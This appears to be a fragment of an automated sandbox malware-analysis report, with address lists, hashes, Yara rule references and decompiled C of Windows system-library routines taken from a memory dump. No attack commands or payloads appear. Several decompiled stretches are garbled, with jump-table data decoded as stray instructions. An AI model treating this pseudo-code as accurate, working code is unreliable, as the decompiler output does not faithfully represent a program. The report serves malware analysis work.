0x0570bab1
0x05752cd5
0x05752cdd
0x05752cdd
0x0570babb
0x0570babc
0x0570bac2
0x0570bac3
0x0570bac3
0x0570bac6
0x00000000
0x0570b9dd
0x0570b9dd
0x0570b9e7
0x0570b9e7
0x0570b9ec
0x0570b9ec
0x0570b9f1
0x0570b9f5
0x0570b9fa
0x0570ba00
0x0570ba0c
0x0570ba10
0x0570ba10
0x0570ba12
0x0570ba18
0x00000000
0x00000000
0x0570bb26
0x0570bb26
0x0570ba1e
0x0570ba1e
0x0570ba23
0x0570ba25
0x0570ba2c
0x0570ba30
0x0570ba35
0x0570ba35
0x0570ba41
0x0570ba46
0x0570ba4c
0x0570ba50
0x0570ba54
0x0570ba6a
0x0570ba6e
0x0570ba70
0x0570ba74
0x0570ba78
0x0570ba7a
0x0570ba7c
0x0570ba8e
0x0570ba90
0x0570ba92
0x0570bb14
0x0570bb14
0x0570bb16
0x0570bb16
0x00000000
0x0570ba7c
0x0570bb0a
0x0570bb0d
0x00000000
0x00000000
0x00000000
0x0570bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0570B9A5

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 19820fcd0dbc61c30bea31938fe0f21a49cc52e1d8bf835fbdd33d2c94d83017
Instruction ID: 4b79c4878f333544e6620b615224e9d8a265e2c4cb0865d8207dba412ab1ca1d
Opcode Fuzzy Hash: 19820fcd0dbc61c30bea31938fe0f21a49cc52e1d8bf835fbdd33d2c94d83017
Instruction Fuzzy Hash: 015169B1A18310CFC720DF68C08492EBBE6FB88710F14996EF99987385D771E940DB92

Uniqueness

Uniqueness Score: -1.00%

Function 05712581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E05712581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t242;
				signed char _t246;
				signed int _t250;
				signed int _t252;
				intOrPtr _t254;
				signed int _t257;
				signed int _t264;
				signed int _t267;
				signed int _t275;
				intOrPtr _t281;
				signed int _t283;
				signed int _t285;
				void* _t286;
				signed int _t287;
				unsigned int _t291;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t301;
				intOrPtr _t313;
				signed int _t322;
				signed int _t324;
				signed int _t325;
				signed int _t329;
				signed int _t330;
				signed int _t332;
				signed int _t334;
				signed int _t337;
				signed char _t338;

				_t334 = _t337;
				_t338 = _t337 - 0x4c;
				_v8 =  *0x57dd360 ^ _t334;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t329 = 0x57db2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t291 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t281 = 0x48;
				_t311 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t322 = 0;
				_v37 = _t311;
				if(_v48 <= 0) {
					L16:
					_t45 = _t281 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t330 = 0xc0000106;
						goto L32;
					} else {
						_t329 = L05704620(_t291,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t281);
						_v52 = _t329;
						__eflags = _t329;
						if(_t329 == 0) {
							_t330 = 0xc0000017;
							goto L32;
						} else {
							 *(_t329 + 0x44) =  *(_t329 + 0x44) & 0x00000000;
							_t50 = _t329 + 0x48; // 0x48
							_t324 = _t50;
							_t311 = _v32;
							 *((intOrPtr*)(_t329 + 0x3c)) = _t281;
							_t283 = 0;
							 *((short*)(_t329 + 0x30)) = _v48;
							__eflags = _t311;
							if(_t311 != 0) {
								 *(_t329 + 0x18) = _t324;
								__eflags = _t311 - 0x57d8478;
								 *_t329 = ((0 | _t311 == 0x057d8478) - 0x00000001 & 0xfffffffb) + 7;
								E0572F3E0(_t324,  *((intOrPtr*)(_t311 + 4)),  *_t311 & 0x0000ffff);
								_t311 = _v32;
								_t338 = _t338 + 0xc;
								_t283 = 1;
								__eflags = _a8;
								_t324 = _t324 + (( *_t311 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t275 = E057739F2(_t324);
									_t311 = _v32;
									_t324 = _t275;
								}
							}
							_t295 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t330 = _v68;
								__eflags = 0;
								 *((short*)(_t324 - 2)) = 0;
								goto L32;
							} else {
								_t285 = _t329 + _t283 * 4;
								_v56 = _t285;
								do {
									__eflags = _t311;
									if(_t311 != 0) {
										_t242 =  *(_v60 + _t295 * 4);
										__eflags = _t242;
										if(_t242 == 0) {
											goto L30;
										} else {
											__eflags = _t242 == 5;
											if(_t242 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t285 =  *(_v60 + _t295 * 4);
										 *(_t285 + 0x18) = _t324;
										_t246 =  *(_v60 + _t295 * 4);
										__eflags = _t246 - 8;
										if(__eflags > 0) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t246 * 4 +  &M05712959))) {
												case 0:
													__ax =  *0x57d8488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E0572F3E0(__edi,  *0x57d848c, __ax & 0x0000ffff);
														__eax =  *0x57d8488 & 0x0000ffff;
														goto L26;
													}
													goto L128;
												case 1:
													L45:
													E0572F3E0(_t324, _v80, _v64);
													_t270 = _v64;
													goto L26;
												case 2:
													 *0x57d8480 & 0x0000ffff = E0572F3E0(__edi,  *0x57d8484,  *0x57d8480 & 0x0000ffff);
													__eax =  *0x57d8480 & 0x0000ffff;
													__eax = ( *0x57d8480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E0572F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L128;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E0572F3E0(_t324, _v76, _v36);
														_t270 = _v36;
													}
													L26:
													_t338 = _t338 + 0xc;
													_t324 = _t324 + (_t270 >> 1) * 2 + 2;
													__eflags = _t324;
													L27:
													_push(0x3b);
													_pop(_t272);
													 *((short*)(_t324 - 2)) = _t272;
													goto L28;
												case 6:
													__ebx =  *0x57d575c;
													__eflags = __ebx - 0x57d575c;
													if(__ebx != 0x57d575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E0572F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0x57d575c;
														} while (__ebx != 0x57d575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x57d8478 & 0x0000ffff = E0572F3E0(__edi,  *0x57d847c,  *0x57d8478 & 0x0000ffff);
													__eax =  *0x57d8478 & 0x0000ffff;
													__eax = ( *0x57d8478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E057739F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x57d6e58 & 0x0000ffff = E0572F3E0(__edi,  *0x57d6e5c,  *0x57d6e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x57d6e58 & 0x0000ffff;
													__eax = ( *0x57d6e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t295 = _v16;
													_t311 = _v32;
													L29:
													_t285 = _t285 + 4;
													__eflags = _t285;
													_v56 = _t285;
													goto L30;
											}
										}
									}
									goto L128;
									L30:
									_t295 = _t295 + 1;
									_v16 = _t295;
									__eflags = _t295 - _v48;
								} while (_t295 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t246 =  *(_v60 + _t322 * 4);
						if(_t246 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t246 * 4 +  &M05712935))) {
							case 0:
								__ax =  *0x57d8488;
								__eflags = __ax;
								if(__eflags != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t311 =  &_v64;
								_v80 = E05712E3E(0,  &_v64);
								_t281 = _t281 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x57d8480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__eflags != 0) {
									__eax = 0x57d8480;
									goto L100;
								}
								goto L14;
							case 3:
								__eax = E056FEEF0(0x57d79a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L77();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E056FEB70(__ecx, 0x57d79a0);
									__eflags = __esi - 0xc0000100;
									if(__eflags == 0) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t220 = _v72;
											__eflags = _t220;
											if(_t220 != 0) {
												L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t220);
											}
											_t221 = _v52;
											__eflags = _t221;
											if(_t221 != 0) {
												__eflags = _t330;
												if(_t330 < 0) {
													L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t221);
													_t221 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t291 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x57d7b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E056FEB70(__ecx, 0x57d79a0);
										__eax = _v52;
										L36:
										_pop(_t323);
										_pop(_t331);
										__eflags = _v8 ^ _t334;
										_pop(_t282);
										return E0572B640(_t221, _t282, _v8 ^ _t334, _t311, _t323, _t331);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L77();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L128;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t277 = _v56;
								if(_v56 != 0) {
									_t311 =  &_v36;
									_t279 = E05712E3E(_t277,  &_v36);
									_t291 = _v36;
									_v76 = _t279;
								}
								if(_t291 == 0) {
									goto L44;
								} else {
									_t281 = _t281 + 2 + _t291;
								}
								goto L14;
							case 6:
								__eax =  *0x57d5764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x57d8478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__eflags != 0) {
									__eax = 0x57d8478;
									L100:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x57d6e58 & 0x0000ffff;
								__eax = ( *0x57d6e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t322 = _t322 + 1;
								if(_t322 >= _v48) {
									goto L16;
								} else {
									_t311 = _v37;
									goto L1;
								}
								goto L128;
						}
					}
					L56:
					_t296 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					if(__eflags < 0) {
						asm("o16 sub [ecx+0x5], dh");
						asm("loopne 0x29");
					}
					asm("daa");
					if(__eflags >= 0) {
						L61:
						 *(_t296 + 5) =  *(_t296 + 5) - _t311;
						_t246 = _t246 + 0x1f057126;
						__eflags = _t246;
					} else {
						if(__eflags < 0) {
							_t329 = _t329 + 1;
							__eflags = _t329;
							goto L61;
						}
					}
					if(__eflags >= 0) {
						L65:
						 *(_t296 + 5) =  *(_t296 + 5) - _t311;
						_t246 = _t246 ^ 0x0205755b;
						__eflags = _t246;
					} else {
						_pop(ds);
						if(__eflags == 0) {
							_t107 = _t246;
							_t246 = _t338;
							_t338 = _t107;
							goto L65;
						}
					}
					_pop(_t286);
					if(__eflags != 0) {
						L69:
						 *(_t296 + 5) =  *(_t296 + 5) - _t311;
						_t311 = _t246 *  *_t324 >> 0x20;
						_t246 = _t246 *  *_t324;
						__eflags = _t246;
					} else {
						_t296 = _t296 +  *_t296;
						__eflags = _t296;
						if(__eflags < 0) {
							 *_t246 =  *_t246 - 0x71;
							__eflags =  *_t246;
							goto L69;
						}
					}
					asm("daa");
					if(__eflags < 0) {
						_push(ds);
						 *(_t296 + 5) =  *(_t296 + 5) - _t311;
						__eflags = _t329;
					}
					_t118 = _t296 + 5;
					 *_t118 =  *(_t296 + 5) - _t311;
					__eflags =  *_t118;
					asm("daa");
					if( *_t118 < 0) {
						asm("fcomp dword [ebx+0x75]");
						_t246 = _t246 + 0x57128b4;
						__eflags = _t246;
					}
					 *(_t296 + 5) =  *(_t296 + 5) - _t311;
					__eflags = _t246 ^ 0x0000005c;
					if((_t246 ^ 0x0000005c) == 0) {
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
					}
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x57bff00);
					E0573D08C(_t286, _t324, _t329);
					_v44 =  *[fs:0x18];
					_t325 = 0;
					 *_a24 = 0;
					_t287 = _a12;
					__eflags = _t287;
					if(_t287 == 0) {
						_t250 = 0xc0000100;
					} else {
						_v8 = 0;
						_t332 = 0xc0000100;
						_v52 = 0xc0000100;
						_t252 = 4;
						while(1) {
							_v40 = _t252;
							__eflags = _t252;
							if(_t252 == 0) {
								break;
							}
							_t301 = _t252 * 0xc;
							_v48 = _t301;
							__eflags = _t287 -  *((intOrPtr*)(_t301 + 0x56c1664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t267 = E0572E5C0(_a8,  *((intOrPtr*)(_t301 + 0x56c1668)), _t287);
									_t338 = _t338 + 0xc;
									__eflags = _t267;
									if(__eflags == 0) {
										_t332 = E057651BE(_t287,  *((intOrPtr*)(_v48 + 0x56c166c)), _a16, _t325, _t332, __eflags, _a20, _a24);
										_v52 = _t332;
										break;
									} else {
										_t252 = _v40;
										goto L82;
									}
									goto L90;
								} else {
									L82:
									_t252 = _t252 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t332;
						__eflags = _t332;
						if(_t332 < 0) {
							__eflags = _t332 - 0xc0000100;
							if(_t332 == 0xc0000100) {
								_t297 = _a4;
								__eflags = _t297;
								if(_t297 != 0) {
									_v36 = _t297;
									__eflags =  *_t297 - _t325;
									if( *_t297 == _t325) {
										_t332 = 0xc0000100;
										goto L96;
									} else {
										_t313 =  *((intOrPtr*)(_v44 + 0x30));
										_t254 =  *((intOrPtr*)(_t313 + 0x10));
										__eflags =  *((intOrPtr*)(_t254 + 0x48)) - _t297;
										if( *((intOrPtr*)(_t254 + 0x48)) == _t297) {
											__eflags =  *(_t313 + 0x1c);
											if( *(_t313 + 0x1c) == 0) {
												L126:
												_t332 = E05712AE4( &_v36, _a8, _t287, _a16, _a20, _a24);
												_v32 = _t332;
												__eflags = _t332 - 0xc0000100;
												if(_t332 != 0xc0000100) {
													goto L89;
												} else {
													_t325 = 1;
													_t297 = _v36;
													goto L95;
												}
											} else {
												_t257 = E056F6600( *(_t313 + 0x1c));
												__eflags = _t257;
												if(_t257 != 0) {
													goto L126;
												} else {
													_t297 = _a4;
													goto L95;
												}
											}
										} else {
											L95:
											_t332 = E05712C50(_t297, _a8, _t287, _a16, _a20, _a24, _t325);
											L96:
											_v32 = _t332;
											goto L89;
										}
									}
									goto L128;
								} else {
									E056FEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t332 = _a24;
									_t264 = E05712AE4( &_v36, _a8, _t287, _a16, _a20, _t332);
									_v32 = _t264;
									__eflags = _t264 - 0xc0000100;
									if(_t264 == 0xc0000100) {
										_v32 = E05712C50(_v36, _a8, _t287, _a16, _a20, _t332, 1);
									}
									_v8 = _t325;
									E05712ACB();
								}
							}
						}
						L89:
						_v8 = 0xfffffffe;
						_t250 = _t332;
					}
					L90:
					return E0573D0D1(_t250);
				}
				L128:
			}

0x05712584
0x05712586
0x05712590
0x05712596
0x05712597
0x05712598
0x05712599
0x0571259e
0x057125a4
0x057125a9
0x057125ac
0x057125ae
0x057125b1
0x057125b2
0x057125b5
0x057125b8
0x057125bb
0x057125bc
0x057125bf
0x057125c2
0x057125c5
0x057125c6
0x057125cb
0x057125ce
0x057125d8
0x057125dd
0x057125de
0x057125e1
0x057125e3
0x057125e9
0x057126da
0x057126da
0x057126dd
0x057126e2
0x05755b56
0x00000000
0x057126e8
0x057126f9
0x057126fb
0x057126fe
0x05712700
0x05755b60
0x00000000
0x05712706
0x05712706
0x0571270a
0x0571270a
0x0571270d
0x05712713
0x05712716
0x05712718
0x0571271c
0x0571271e
0x05755b6c
0x05755b6f
0x05755b7f
0x05755b89
0x05755b8e
0x05755b93
0x05755b96
0x05755b9c
0x05755ba0
0x05755ba3
0x05755bab
0x05755bb0
0x05755bb3
0x05755bb3
0x05755ba3
0x05712724
0x05712726
0x05712729
0x0571272c
0x0571279d
0x0571279d
0x057127a0
0x057127a2
0x00000000
0x0571272e
0x0571272e
0x05712731
0x05712734
0x05712734
0x05712736
0x05755bc1
0x05755bc1
0x05755bc4
0x00000000
0x05755bca
0x05755bca
0x05755bcd
0x00000000
0x05755bd3
0x00000000
0x05755bd3
0x05755bcd
0x0571273c
0x0571273c
0x05712742
0x05712747
0x0571274a
0x0571274d
0x05712750
0x00000000
0x05712756
0x05712756
0x00000000
0x05712902
0x05712908
0x0571290b
0x00000000
0x05712911
0x0571291c
0x05712921
0x00000000
0x05712921
0x00000000
0x00000000
0x05712880
0x05712887
0x0571288c
0x00000000
0x00000000
0x05712805
0x0571280a
0x05712814
0x05712816
0x00000000
0x00000000
0x0571281e
0x05712821
0x05712823
0x00000000
0x05712829
0x05712829
0x05712831
0x0571283c
0x0571283e
0x00000000
0x0571283e
0x00000000
0x00000000
0x0571284e
0x05712850
0x05712851
0x05712854
0x05712857
0x0571285a
0x0571285c
0x0571285d
0x00000000
0x00000000
0x0571275d
0x05712761
0x00000000
0x05712767
0x0571276e
0x05712773
0x05712773
0x05712776
0x05712778
0x0571277e
0x0571277e
0x05712781
0x05712781
0x05712783
0x05712784
0x00000000
0x00000000
0x05755bd8
0x05755bde
0x05755be4
0x05755be6
0x05755be8
0x05755be9
0x05755bee
0x05755bf8
0x05755bff
0x05755c01
0x05755c04
0x05755c07
0x05755c0b
0x05755c0d
0x05755c0d
0x05755c15
0x05755c18
0x05755c1b
0x05755c1b
0x05755c1e
0x00000000
0x00000000
0x057128c3
0x057128c8
0x057128d2
0x057128d4
0x057128d8
0x057128db
0x05755c26
0x05755c28
0x05755c2d
0x05755c2d
0x00000000
0x00000000
0x05755c34
0x05755c36
0x05755c49
0x05755c4e
0x05755c54
0x05755c5b
0x05755c5d
0x05755c60
0x05712788
0x05712788
0x0571278b
0x0571278e
0x0571278e
0x0571278e
0x05712791
0x00000000
0x00000000
0x05712756
0x05712750
0x00000000
0x05712794
0x05712794
0x05712795
0x05712798
0x05712798
0x00000000
0x05712734
0x0571272c
0x05712700
0x057125ef
0x057125ef
0x057125ef
0x057125f2
0x057125f8
0x00000000
0x00000000
0x057125fe
0x00000000
0x057128e6
0x057128ec
0x057128ef
0x057128f5
0x057128f8
0x057128f8
0x00000000
0x057128f8
0x00000000
0x00000000
0x05712866
0x05712866
0x05712876
0x05712879
0x00000000
0x00000000
0x057127e0
0x057127e7
0x057127e9
0x057127eb
0x05755afd
0x00000000
0x05755afd
0x00000000
0x00000000
0x05712633
0x05712638
0x0571263b
0x0571263c
0x0571263e
0x05712640
0x05712642
0x05712647
0x05712649
0x0571264e
0x05712650
0x05712653
0x05712659
0x057126a2
0x057126a7
0x057126ac
0x057126b2
0x05755b11
0x05755b15
0x05755b17
0x00000000
0x057126b8
0x057126b8
0x057126ba
0x057127a6
0x057127a6
0x057127a9
0x057127ab
0x057127b9
0x057127b9
0x057127be
0x057127c1
0x057127c3
0x057127c5
0x057127c7
0x05755c74
0x05755c79
0x05755c79
0x057127c7
0x00000000
0x057126c0
0x057126c0
0x057126c3
0x057126c6
0x057126c6
0x057126c9
0x057126c9
0x00000000
0x057126c9
0x057126ba
0x0571265b
0x0571265b
0x0571265e
0x05712667
0x0571266d
0x05712677
0x0571267c
0x0571267f
0x05712681
0x05755b49
0x05755b4e
0x057127cd
0x057127d0
0x057127d1
0x057127d2
0x057127d4
0x057127dd
0x05712687
0x05712687
0x0571268a
0x0571268b
0x0571268e
0x0571268f
0x05712691
0x05712696
0x05712698
0x0571269d
0x0571269f
0x00000000
0x0571269f
0x05712681
0x00000000
0x00000000
0x05712846
0x00000000
0x00000000
0x05712605
0x0571260a
0x0571260c
0x05712611
0x05712616
0x05712619
0x05712619
0x0571261e
0x00000000
0x05712624
0x05712627
0x05712627
0x00000000
0x00000000
0x05755b1f
0x00000000
0x00000000
0x05712894
0x0571289b
0x0571289d
0x057128a1
0x05755b2b
0x05755b2e
0x05755b2e
0x057128a7
0x057128a9
0x05755b04
0x05755b09
0x05755b09
0x05755b09
0x00000000
0x00000000
0x05755b35
0x05755b3c
0x057128fb
0x057128fb
0x057126cc
0x057126cc
0x057126d0
0x00000000
0x057126d2
0x057126d2
0x00000000
0x057126d2
0x00000000
0x00000000
0x057125fe
0x0571292d
0x0571292f
0x05712930
0x05712935
0x05712937
0x05712939
0x0571293d
0x0571293d
0x0571293e
0x0571293f
0x05712946
0x05712946
0x05712949
0x05712949
0x05712941
0x05712941
0x05712945
0x05712945
0x00000000
0x05712945
0x05712941
0x0571294a
0x05712952
0x05712952
0x05712955
0x05712955
0x0571294d
0x0571294d
0x0571294f
0x05712951
0x05712951
0x05712951
0x00000000
0x05712951
0x0571294f
0x05712956
0x05712957
0x0571295e
0x0571295e
0x05712961
0x05712961
0x05712961
0x05712959
0x05712959
0x05712959
0x0571295b
0x0571295d
0x0571295d
0x00000000
0x0571295d
0x0571295b
0x05712962
0x05712963
0x05712965
0x05712966
0x05712969
0x05712969
0x0571296a
0x0571296a
0x0571296a
0x0571296e
0x0571296f
0x05712971
0x05712974
0x05712974
0x05712974
0x05712976
0x05712979
0x0571297b
0x0571297d
0x0571297e
0x0571297f
0x05712980
0x05712981
0x05712981
0x05712982
0x05712983
0x05712984
0x05712985
0x05712986
0x05712987
0x05712988
0x05712989
0x0571298a
0x0571298b
0x0571298c
0x0571298d
0x0571298e
0x0571298f
0x05712990
0x05712992
0x05712997
0x057129a3
0x057129a6
0x057129ab
0x057129ad
0x057129b0
0x057129b2
0x05755c80
0x057129b8
0x057129b8
0x057129bb
0x057129c0
0x057129c5
0x057129c6
0x057129c6
0x057129c9
0x057129cb
0x00000000
0x00000000
0x057129cd
0x057129d0
0x057129d9
0x057129db
0x057129dd
0x05712a7f
0x05712a84
0x05712a87
0x05712a89
0x05755ca1
0x05755ca3
0x00000000
0x05712a8f
0x05712a8f
0x00000000
0x05712a8f
0x00000000
0x057129e3
0x057129e3
0x057129e3
0x00000000
0x057129e3
0x057129dd
0x00000000
0x057129db
0x057129e6
0x057129e9
0x057129eb
0x057129ed
0x057129f3
0x057129f5
0x057129f8
0x057129fa
0x05712a97
0x05712a9a
0x05712a9d
0x05712add
0x00000000
0x05712a9f
0x05712aa2
0x05712aa5
0x05712aa8
0x05712aab
0x05755cab
0x05755caf
0x05755cc5
0x05755cda
0x05755cdc
0x05755cdf
0x05755ce5
0x00000000
0x05755ceb
0x05755ced
0x05755cee
0x00000000
0x05755cee
0x05755cb1
0x05755cb4
0x05755cb9
0x05755cbb
0x00000000
0x05755cbd
0x05755cbd
0x00000000
0x05755cbd
0x05755cbb
0x05712ab1
0x05712ab1
0x05712ac4
0x05712ac6
0x05712ac6
0x00000000
0x05712ac6
0x05712aab
0x00000000
0x05712a00
0x05712a09
0x05712a0e
0x05712a21
0x05712a24
0x05712a35
0x05712a3a
0x05712a3d
0x05712a42
0x05712a59
0x05712a59
0x05712a5c
0x05712a5f
0x05712a5f
0x057129fa
0x057129f3
0x05712a64
0x05712a64
0x05712a6b
0x05712a6b
0x05712a6d
0x05712a72
0x05712a72
0x00000000

Strings

PATH, xrefs: 05712642, 05712691

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: 073022013e62998f906f53ca2ff136bfc4094d4cdd797245faff82b0d6cfdd6d
Instruction ID: 34d796f9170372ab2abbf91b293d5d4a53acf67a7d9e6c064555c3e195c38c70
Opcode Fuzzy Hash: 073022013e62998f906f53ca2ff136bfc4094d4cdd797245faff82b0d6cfdd6d
Instruction Fuzzy Hash: F8C1A075E10219DFCB14DF9ED885BBEBBB1FF48710F444029E901AB251DB34A941EB68

Uniqueness

Uniqueness Score: -1.00%

Function 0571FAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0571FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E056FEEF0(0x57d7b60);
					_t134 =  *0x57d7b84; // 0x77f07b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x57d7b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x57d7b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
